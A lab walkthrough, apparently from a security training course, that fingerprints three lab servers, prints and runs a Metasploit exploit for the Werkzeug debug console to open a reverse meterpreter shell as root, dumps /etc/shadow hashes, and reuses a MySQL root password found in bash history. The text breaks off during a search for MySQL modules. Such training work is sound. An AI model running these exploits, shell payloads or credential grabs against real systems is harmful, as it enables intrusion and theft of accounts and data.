Find and exploit vulnerable applications and services
The final goal of the blog is to tell you learn to find and exploit vulnerable applications and services primarily using the Metasploit Framework and use other popular scanning utilities like dirb along the way.
This exercise will help you understand how to fingerprint an application and identify its vulnerabilities. You would also perform enumeration attacks to find weaknesses in the provided applications and perform privilege escalation. how to find a flag information from the target machine such as shares, users, groups and so on! Moreover by navigating the remote machine, you should be able to find a file name "Congratulations.txt\". Download it and explore its content.
There are three machines can be accessed using the tools installed on Kali on server1.ine.local, server2.ine.local and server3.ine.local.
Tools
The best tools for this lab are:
# cURL
# dirb
# Nmap
# Metasploit Framework
# A Web Browser
First of all we are Check the provided machines/domains are reachable or not.
Commands:
ping -c 2 server1.ine.local
ping -c 2 server2.ine.local
ping -c 2 server3.ine.local
root@INE:~# ping -c 2 server1.ine.local
PING server1.ine.local (192.251.63.3) 56(84) bytes of data.
64 bytes from target-1 (192.251.63.3): icmp_seq=1 ttl=64 time=0.111 ms
64 bytes from target-1 (192.251.63.3): icmp_seq=2 ttl=64 time=0.049 ms
--- server1.ine.local ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1028ms
rtt min/avg/max/mdev = 0.049/0.080/0.111/0.031 ms
root@INE:~#
root@INE:~# ping -c 2 server2.ine.local
PING server2.ine.local (192.251.63.4) 56(84) bytes of data.
64 bytes from target-2 (192.251.63.4): icmp_seq=1 ttl=64 time=0.094 ms
64 bytes from target-2 (192.251.63.4): icmp_seq=2 ttl=64 time=0.077 ms
--- server2.ine.local ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1024ms
rtt min/avg/max/mdev = 0.077/0.085/0.094/0.008 ms
root@INE:~#
root@INE:~# ping -c 2 server3.ine.local
PING server3.ine.local (192.251.63.5) 56(84) bytes of data.
64 bytes from target-3 (192.251.63.5): icmp_seq=1 ttl=64 time=0.136 ms
64 bytes from target-3 (192.251.63.5): icmp_seq=2 ttl=64 time=0.063 ms
--- server3.ine.local ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1024ms
rtt min/avg/max/mdev = 0.063/0.099/0.136/0.036 ms
root@INE:~#
The all machines are reachable, and we also found their IP addresses, as you can see.
Now we scan the network to discover the services running on them. Now let's find all the services on the provided target machines:
Command:
nmap -sV --script=banner 192.73.96.0/24
root@INE:~# nmap -sV --script=banner 192.251.63.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-08 19:34 IST
Nmap scan report for linux (192.251.63.1)
Host is up (0.0000060s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
80/tcp filtered http
443/tcp filtered https
MAC Address: 02:42:90:10:ED:CE (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for target-1 (192.251.63.3)
Host is up (0.0000080s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.9.6 (Python 2.7.13)
MAC Address: 02:42:C0:FB:3F:03 (Unknown)
Nmap scan report for target-2 (192.251.63.4)
Host is up (0.0000080s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.5.62-0ubuntu0.14.04.1
| banner: [\x00\x00\x00\x0A5.5.62-0ubuntu0.14.04.1\x00-\x00\x00\x00N1FL,5
|_d{\x00\xFF\xF7\x08\x02\x00\x0F\x80\x15\x00\x00\x00\x00\x00\x00\x00\x...
MAC Address: 02:42:C0:FB:3F:04 (Unknown)
Nmap scan report for target-3 (192.251.63.5)
Host is up (0.0000080s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.5 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.5
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
MAC Address: 02:42:C0:FB:3F:05 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for INE (192.251.63.2)
Host is up (0.0000040s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server xrdp
5910/tcp open vnc VNC (protocol 3.8)
|_banner: RFB 003.008
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (5 hosts up) scanned in 41.56 seconds
root@INE:~#
-sV for service and their version information.
--script=banner
is an Nmap script that will connect to an open TCP port and print out anything that is sent by the service within five seconds. That's that service banner.
We can observe that there are three machines in the subnet excluding the provided Kali instance and gateway.
# The first machine, having IP
192.73.96.3
is running the Werkzeug httpd service,
# The second machine, having IP
192.73.96.4
is running the MySQL server, and
# The third machine, having IP
192.73.96.5
is running OpenSSH and Apache Tomcat server.
Note: The IP addresses would be different in your case, so make sure you use the correct IP address, otherwise the commands might not give the expected results!
After running the Nmap banner script we would know the names and the versions of the services on all the provided machines.
And since we know of all the details now, we will begin with the exploitation part.
Let's first target the
Werkzeug httpd 0.9.6 = server1.ine.local
Exploiting Werkzeug httpd service
We already know the version of Werkzeug. So let's use that information to search for any publicly available exploits using searchsploit.
Information: As mentioned on the page for searchsploit on Exploit-DB:
{Searchsploit}, a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. SearchSploit gives you the power to perform detailed off-line searches through your locally checked-out copy of the repository. This capability is particularly useful for security assessments on segregated or air-gapped networks without Internet access.
So using searchsploit, one can quickly look for exploits from the copy of the Exploit Database available offline on your machine (Kali instance in this case). Let's look for exploits available for werkzeug:
Command:
searchsploit werkzeug
root@INE:~# searchsploit Werkzeug
------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------ ---------------------------------
Werkzeug - 'Debug Shell' Command Execution | multiple/remote/43905.py
Werkzeug - Debug Shell Command Execution (Metasploit) | python/remote/37814.rb
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
root@INE:~#
We can notice that there is a Metasploit module for werkzeug. But we need to make sure that this exploit works against Werkzeug version 0.9.6.
The suggested ruby exploit is located at -
/usr/share/exploitdb/exploits/python/remote/37814.rb
.
Inspect this file to determine if the current version of werkzeug is vulnerable to the "Debug Shell" command execution or not:
Command:
cat /usr/share/exploitdb/exploits/python/remote/37814.rb
root@INE:~# cat /usr/share/exploitdb/exploits/python/remote/37814.rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Werkzeug Debug Shell Command Execution',
'Description' => %q{
This module will exploit the Werkzeug debug console to put down a
Python shell. This debugger "must never be used on production
machines" but sometimes slips passed testing.
Tested against:
0.9.6 on Debian
0.9.6 on Centos
0.10 on Debian
},
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
'References' =>
[
['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
],
'License' => MSF_LICENSE,
'Platform' => ['python'],
'Targets' => [[ 'werkzeug 0.10 and older', {}]],
'Arch' => ARCH_PYTHON,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 28 2015'
))
register_options(
[
OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
], self.class
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)
# https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
if res && res.body =~ /Werkzeug powered traceback interpreter/
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
# first we need to get the SECRET code
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)
if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
secret = $1
vprint_status("Secret Code: #{secret}")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'__debugger__' => 'yes',
'cmd' => payload.encoded,
'frm' => '0',
's' => secret
}
)
else
print_error('Secret code not detected.')
end
end
endroot@INE:~#
root@INE:~#
root@INE:~#
root@INE:~#
As you can clearly see, Werkzeug version 0.9.6 is vulnerable to command execution.
Now that we have identified the running application and discovered the vulnerability, we will exploit it next.
Searching for Werkzeug exploit modules in the Metasploit Framework.
Start Metasploit framework and search for werkzeug exploit modules:
Commands:
msfconsole -q
search werkzeug
The above set of commands would start metasploit in quiet mode (that is, we won't get a big banner) and then look for werkzeug related exploit modules.
root@INE:~# msfconsole -q
msf6 > saerch werkzeug
[-] Unknown command: saerch.
msf6 > search werkzeug
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/werkzeug_debug_rce 2015-06-28 excellent Yes Werkzeug Debug Shell Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/werkzeug_debug_rce
msf6 >
Notice that there is a Metasploit module for Werkzeug. We will use this for exploitation in the subsequent steps.
Checking
werkzeug_debug_rce
module options.
Let's use the identified werkzeug module:
exploit/multi/http/werkzeug_debug_rce
and list the options that we need to configure for this module.
Commands:
use exploit/multi/http/werkzeug_debug_rce
show options
msf6 > use exploit/multi/http/werkzeug_debug_rce
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/http/werkzeug_debug_rce) > show options
Module options (exploit/multi/http/werkzeug_debug_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /console yes URI to the console
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.1.0.8 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 werkzeug 0.10 and older
msf6 exploit(multi/http/werkzeug_debug_rce) >
The following options are to be set:
# RHOSTS
: It's the IP or URL of the target machine. In our case, it's server1.ine.local, where the werkzeug service is running.
# PORT
: is set to 80 by default, for this module. Since the service is running on port 80 on the target machine, nothing needs to be done.
# PAYLOAD
: Set it to
python/meterpreter/reverse_tcp
to get back the meterpreter shell session.
# LHOST
: Set it to the IP address of the host machine (the Kali GUI instance), where we expect to receive back the meterpreter shell session, that is, 192.73.96.2. But this IP might be different in your case, so make sure you set it properly. Otherwise the exploit won't work!
#LPORT
: Set it to a port where we expect to receive back the meterpreter shell session. Let's keep it at it's default value.
Now that we know of all the options and the values we need to fill in, let's do that next.
Configuring the selected werkzeug module and exploiting the application.
Use the following commands to configure the module and exploit the werkzeug application:
Commands:
set RHOSTS 192.73.96.3
set LHOST 192.73.96.2
check
exploit
The {check} command would check if the service on the target is vulnerable to this exploit or not, instead of actually exploiting it. And the
{exploit} command would exploit the service, provided that it's vulnerable.
msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.251.63.3
RHOSTS => 192.251.63.3
msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.251.63.2
LHOST => 192.251.63.2
msf6 exploit(multi/http/werkzeug_debug_rce) > check
[*] 192.251.63.3:80 - The target appears to be vulnerable.
msf6 exploit(multi/http/werkzeug_debug_rce) > exploit
[*] Started reverse TCP handler on 192.251.63.2:4444
[*] Sending stage (39328 bytes) to 192.251.63.3
[*] Meterpreter session 1 opened (192.251.63.2:4444 -> 192.251.63.3:50918) at 2022-01-08 19:44:24 +0530
meterpreter >
Notice that the werkzeug application has been successfully exploited and we have received back a meterpreter shell.
Let's check the privilege of the meterpreter shell session:
Command:
getuid
meterpreter > getuid
Server username: root
meterpreter >
As shown in the above output, we have root user privileges!
Now that we have gained a shell session on the target machine, the very first thing would be to look for the existing users, sensitive files/data like hardcoded credentials, etc. We can use popular scripts like LinEnum to quickly identify all possible information related to users and system configurations. This will greatly speed up the process and reduce the manual work that we need to otherwise perform.
We will choose to go with the manual route to show you the complete process but you can use LinEnum as well. It's already available in the Kali GUI instance.
Checking available users on the target machine
Since we are root, we can check the contents of
/etc/shadow
file and find the list of all the users, their home directories and even their password hashes:
Command:
cat /etc/shadow
meterpreter > cat /etc/shadow
root:*:17847:0:99999:7:::
daemon:*:17847:0:99999:7:::
bin:*:17847:0:99999:7:::
sys:*:17847:0:99999:7:::
sync:*:17847:0:99999:7:::
games:*:17847:0:99999:7:::
man:*:17847:0:99999:7:::
lp:*:17847:0:99999:7:::
mail:*:17847:0:99999:7:::
news:*:17847:0:99999:7:::
uucp:*:17847:0:99999:7:::
proxy:*:17847:0:99999:7:::
www-data:*:17847:0:99999:7:::
backup:*:17847:0:99999:7:::
list:*:17847:0:99999:7:::
irc:*:17847:0:99999:7:::
gnats:*:17847:0:99999:7:::
nobody:*:17847:0:99999:7:::
_apt:*:17847:0:99999:7:::
messagebus:*:17918:0:99999:7:::
alice:$6$aZ5kKJDK$DYrxGfkRSaNtXX7Y/.nvOOW6Eia8NRMK8qOwOzKs4zS7hBJNLtskOItlvAU73ObAkcCQScPYQ3g4mp6dhZ/mn/:17918:0:99999:7:::
bob:$6$M9PvEKzJ$qAUlghqIu6bsmeP0yTjML6tfBcFmAo5WCnqcDBLY0GUUsTWW0h7QcH8UrPSy2WX9hPl96VT8FUw.11enoCvCW1:17918:0:99999:7:::
jennifer:$6$mztY.nYU$QMMLDul0.6kZxdKMgvx9o5EnYZTXqGu9DfZFKlpSUCW.wpVtrEecuLK9F615HV8Co0Xnbukyhct5HN5AixvRG1:17918:0:99999:7:::
ashish:$6$8CSFjvda$HCJkOhOfwHY7RXfrkXKVZSg/IDnTqtRHXoCMBciTULFNPhejN4hMJzz.0.d/qewW4tkYzoB6kh3haXnLwHZOp0:17918:0:99999:7:::
nick:$6$vRZjfYC0$LGizUHyA4fXiYBPRK1G8jxYpU6C2U8EtZqKuBZG0c7eOU5eQ4itOOJeJaqrR1.waODY8dWZemGM7mOf0SKpmT.:17918:0:99999:7:::
peter:$6$I9ySlhCn$BOl3RADjJkj173jLK2iHf0PqQODKvs/awwm8/aAFToj71Q2O2kVFC51Pt.ZC4.YlScYxrQkCnBq.ldciFnNsw0:17918:0:99999:7:::
auditor:$6$1dhn1A57$9Nf4hWqgsqwNKMK0j80t6e4G5Kj/7eUs1QX3Hr2RNrr0ZxjEwsGNkB5GhPq9VMbZ.QAIOwirF2yJnoBBFRBW8.:17918:0:99999:7:::
meterpreter >
A total of seven users are present on the target machine.
We could now check their home directory to find interesting files or alternatively leverage interesting modules such as - post/linux/gather/enum_users_history
.
Using the enum_users_history
Metasploit post exploit module to find the user's history file.
Let's use the Linux user shell history enumeration module to find and dump the user's history.
Information: When a user enters any command in the terminal, by default it gets logged in the
.bash_history
file in the user's home directory. And that's one of the things that this module can retrieve for us!
As mentioned in the Linux Post Gather Modules description: The
enum_users_history
module gathers user specific information. User list, bash history, mysql history, vim history, lastlog and sudoers.
Now let's background the meterpreter session and run the
enum_users_history
module:
Commands:
background
use post/linux/gather/enum_users_history
set SESSION 1
run
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/http/werkzeug_debug_rce) > use post/linux/gather/enum_users_history
msf6 post(linux/gather/enum_users_history) > set SESSION 1
SESSION => 1
msf6 post(linux/gather/enum_users_history) > run
[+] Info:
[+] Debian GNU/Linux 9
[+] Linux server1.ine.local 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 GNU/Linux
[-] Failed to open file: /root/.ash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /root/.bash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /root/.csh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /root/.ksh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.ksh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.sh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.tcsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.zsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.mysql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.psql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.dbshell: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/alice/.viminfo: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/bob/.ash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/bob/.bash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/bob/.csh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/bob/.ksh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/bob/.sh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/bob/.tcsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.ash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.bash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.csh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.ksh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.sh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.tcsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.zsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.mysql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.psql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.dbshell: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/nick/.viminfo: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.ash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.bash_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.csh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.ksh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.sh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.tcsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.zsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.mysql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.psql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.dbshell: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/peter/.viminfo: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.ash_history: 4: Operation failed: Python exception: IOError
[+] bash history for auditor stored in /root/.msf4/loot/20220108194714_default_192.251.63.3_linux.enum.users_987099.txt
[-] Failed to open file: /home/auditor/.csh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.ksh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.sh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.tcsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.zsh_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.mysql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.psql_history: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.dbshell: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /home/auditor/.viminfo: 4: Operation failed: Python exception: IOError
[-] Failed to open file: /etc/sudoers: 4: Operation failed: Python exception: IOError
[+] Last logs stored in /root/.msf4/loot/20220108194715_default_192.251.63.3_linux.enum.users_593170.txt
[*] Post module execution completed
msf6 post(linux/gather/enum_users_history) >
Notice that the shell history for the user auditor is available. The contents of that file have been downloaded to the Kali instance in the file:
/root/.msf4/loot/20211117160325_default_192.73.96.3_linux.enum.users_287331.txt
Hunting for sensitive information in the auditor user's bash history file.
Command:
cat /root/.msf4/loot/20211117160325_default_192.73.96.3_linux.enum.users_287331.txt
root@INE:~/.msf4/loot# ls
20220108194714_default_192.251.63.3_linux.enum.users_987099.txt
20220108194715_default_192.251.63.3_linux.enum.users_593170.txt
root@INE:~/.msf4/loot# cat 20220108194714_default_192.251.63.3_linux.enum.users_987099.txt
ls
whoami
echo "0.0.0.0" /etc/hosts
ls -a
wl
wget http://192.168.55.1/points.txt
admin
wget
wget --help
ls
whoami
echo "0.0.0.0" /etc/hosts
ls -a
wl
wget http://192.168.55.1/points.txt
admin
wget
wget --help
ls
whoami
echo "0.0.0.0" /etc/hosts
ls -a
wl
wget http://192.168.55.1/points.txt
admin
wget
wget --help
ls
whoami
echo "0.0.0.0" /etc/hosts
ls -a
wl
wget http://192.168.55.1/points.txt
admin
wget
wget --help
ls
whoami
echo "0.0.0.0" /etc/hosts
ls -a
wl
wget http://192.168.55.1/points.txt
admin
wget
wget --help
ls
whoami
echo "0.0.0.0" /etc/hosts
ls -a
wl
wget http://192.168.55.1/points.txt
admin
wget
wget --help
passwd auditor
sudo su
cat /etc/passwd
cat /etc/shadow
cp /home/auditor/test /tmp
cd /tmp/
cd logstalgia-1.0.3/
./configure
sudo passwd root
apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev libjpeg62-dev make gcc
./configure
make
apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev libjpeg62-dev make gcc++
apt-get install libsdl1.2-dev libsdl-image1.2-dev libpcre3-dev libftgl-dev libpng12-dev libjpeg62-dev make gcc
apt-get install make
mysql -u root -p
apt-get install grsync
apt-get install unison
unison
PS1='\e[1;35m[\u@\h \w]$ \e[m 'PS1="\e[0;32m[\u@\h \W]$ \e[m "
sudo apt install curl
curl -sL https://deb.nodesource.com/setup_10.x | sudo bash -
curl -sL https://deb.nodesource.com/setup_8.x | sudo bash -
sudo apt install nodejs
curl -sL https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh -o install_nvm.sh
apt-get update
apt-get install -y --force-yes build-essential curl git
apt-get install -y --force-yes zlib1g-dev libssl-dev libreadline-dev libyaml-dev libxml2-dev libxslt-dev
git clone https://github.com/sstephenson/rbenv.git /root/.rbenv
git clone https://github.com/sstephenson/ruby-build.git /root/.rbenv/plugins/ruby-build
/root/.rbenv/plugins/ruby-build/install.sh
/root/.rbenv/bin:$PATH
echo 'eval "$(rbenv init -)"' >> /etc/profile.d/rbenv.sh # or /etc/profile
echo 'eval "$(rbenv init -)"' >> .bashrc
export CONFIGURE_OPTS --disable-install-doc
ADD ./versions.txt /root/versions.txt
xargs -L 1 rbenv install < /root/versions.txt
echo 'gem: --no-rdoc --no-ri' >> /.gemrc
bash -l -c 'for v in $(cat /root/versions.txt); do rbenv global $v; gem install bundler; done'
sudo apt-get update
sudo apt-get install default-jre
sudo apt-get install oracle-java9-installer
sudo update-alternatives --config java
sudo update-alternatives --config java
sudo nano /etc/environment
source /etc/environment
echo $JAVA_HOME
sudo groupadd tomcat
sudo useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat
curl -O http://apache.mirrors.ionfish.org/tomcat/tomcat-8/v8.5.5/bin/apache-tomcat-8.5.5.tar.gz
sudo mkdir /opt/tomcat
sudo tar xzvf apache-tomcat-8*tar.gz -C /opt/tomcat --strip-components=1
cd /opt/tomcat
sudo chgrp -R tomcat /opt/tomcat
sudo chmod -R g+r conf
sudo chmod g+x conf
sudo chown -R tomcat webapps/ work/ temp/ logs/
sudo update-java-alternatives -l
sudo nano /etc/systemd/system/tomcat.service
sudo systemctl daemon-reload
sudo systemctl start tomcat
sudo systemctl status tomcat
sudo nano /opt/tomcat/conf/tomcat-users.xml
sudo apt install autoconf bison build-essential libssl-dev libyaml-dev libreadline6-dev zlib1g-dev libncurses5-dev libffi-dev libgdbm5 libgdbm-dev
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(rbenv init -)"' >> ~/.bashrc
source ~/.bashrc
type rbenv
git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
rbenv install -l
rbenv install 2.5.1
rbenv global 2.5.1
ruby -v
echo "gem: --no-document" > ~/.gemrcgit pull
gem install bundler
gem env home
gem install rails
rbenv rehash
rails -v
rails -v
cd ~/.rbenva
cd ~/.rbenv
git pullrbenv uninstall 2.1.3
rbenv uninstall 2.1.3
nano ~/.bashrc
rm -rf `rbenv root`
sudo -i
apt-get install -y cmake build-essential libreadline6-dev libncurses5-dev
groupadd mysql
useradd -r -g mysql mysql
mkdir -p /usr/local/src/mysql
cd /usr/local/src/mysql
wget http://cdn.mysql.com/Downloads/MySQL-5.6/mysql-5.6.10.tar.gz
tar xvfz mysql-5.6.10.tar.gz
cd mysql-5.6*
mysql -h 192.251.63.4 -u root -pfArFLP29UySm4bZj
rm CMakeCache.txt
cmake \
-DCMAKE_INSTALL_PREFIX=/usr/local/mysql-5.6.10 \
-DWITH_INNOBASE_STORAGE_ENGINE=1\
-DDEFAULT_CHARSET=utf8 \
-DDEFAULT_COLLATION=utf8_general_ci \
-DMYSQL_UNIX_ADDR=/tmp/mysql.sock \
-DSYSCONFDIR=/etc \
.
make
make install
ln -s /usr/local/mysql-5.6.10 /usr/local/mysql
cd /usr/local/mysql
cp ./support-files/my-default.cnf /etc/my.cnf
echo "character-set-server = utf8" >> /etc/my.cnf
echo "collation-server = utf8_general_ci" >> /etc/my.cnf
echo "character-set-client-handshake = false" >> /etc/my.cnf
chown -R root .
chgrp -R mysql .
chown -R mysql data
scripts/mysql_install_db --user=mysql
bin/mysqld_safe --user=mysql &
bin/mysqladmin -u root password 'new-password'
cp support-files/mysql.server /etc/init.d/mysql.server
ln -s /etc/init.d/mysql.server /etc/rc2.d/S90mysql
echo "export PATH=/usr/local/mysql/bin:$PATH" >> /etc/profile
if /etc/mysql/my.cnf file exists, sudo /etc/mysql/my.cnf /etc/mysql/my.cnf.old
cd /opt
wget http://www.morphisms.net/~wkj/download/libaio.tbz
bunzip2 libaio.tbz
tar xf libaio.tar
wget http://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.8.tar.gz/from/http://mysql.llarian.net/
tar xzf mysql-5.5.8.tar.gz
cd mysql-5.5.8
PATH=$PATH:/opt/bison/bin #bison binary should be in your path
/opt/cmake/bin/cmake . -DWITH_ARCHIVE_STORAGE_ENGINE=1 -DWITH_FEDERATED_STORAGE_ENGINE=1 \
-DWITH_BLACKHOLE_STORAGE_ENGINE=1 -DMYSQL_DATADIR=/opt/mysql-5.5.8/data/ \
-DCMAKE_INSTALL_PREFIX=/opt/mysql-5.5.8 -DCURSES_LIBRARY=/opt/ncurses/lib/libncurses.a \
-DCURSES_INCLUDE_PATH=/opt/ncurses/include/ -DHAVE_LIBAIO_H=/opt/libaio/include/ \
-DINSTALL_LAYOUT=STANDALONE -DENABLED_PROFILING=ON \
-DMYSQL_MAINTAINER_MODE=OFF -DWITH_DEBUG=OFF \
-DDEFAULT_CHARSET=utf8 -DENABLED_LOCAL_INFILE=TRUE -DWITH_ZLIB=bundled
make
make install
root@INE:~/.msf4/loot#
root@INE:~/.msf4/loot#
The auditor user had accessed a MySQL database server using CLI and the credentials were supplied to the command which were thus stored in the { .bash_history } file, in plain-text.
As if you remember, on server2.ine.local machine, MySQL server was running. And it's IP address was { 192.73.96.4 }! So we supposedly got the credentials to access the MySQL server.
Let's try connecting to that MySQL server instance next.
Connecting to the MySQL server using discovered credentials.
Use the following command to connect to the MySQL server instance running on server2.ine.local:
Command:
mysql -h server2.ine.local -u root -pfArFLP29UySm4bZj
That worked! We have received back a MySQL shell session where we can access (and even tamper with) all the data present on this database server!
Let's list all the databases and see if anything interesting is present on this server:
Command:
show databases;
root@INE:~# mysql -h server2.ine.local -u root -pfArFLP29UySm4bZj
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 46
Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
+--------------------+
3 rows in set (0.000 sec)
MySQL [(none)]>
All the three databases present are the default databases of MySQL server.
So there's nothing of much value here. But there's one thing we can do - we can try to exploit this database server and probably get shell access on that machine.
Let's try doing that next.
Checking for MySQL exploit modules in the Metasploit Framework.
Let's switch back to the Metasploit Framework tab in the terminal and look for the available MySQL exploit modules:
Command:
search mysql
msf6 > search mysql
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
1 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
2 auxiliary/admin/mysql/mysql_enum normal No MySQL Enumeration Module
3 auxiliary/admin/mysql/mysql_sql normal No MySQL SQL Generic Query
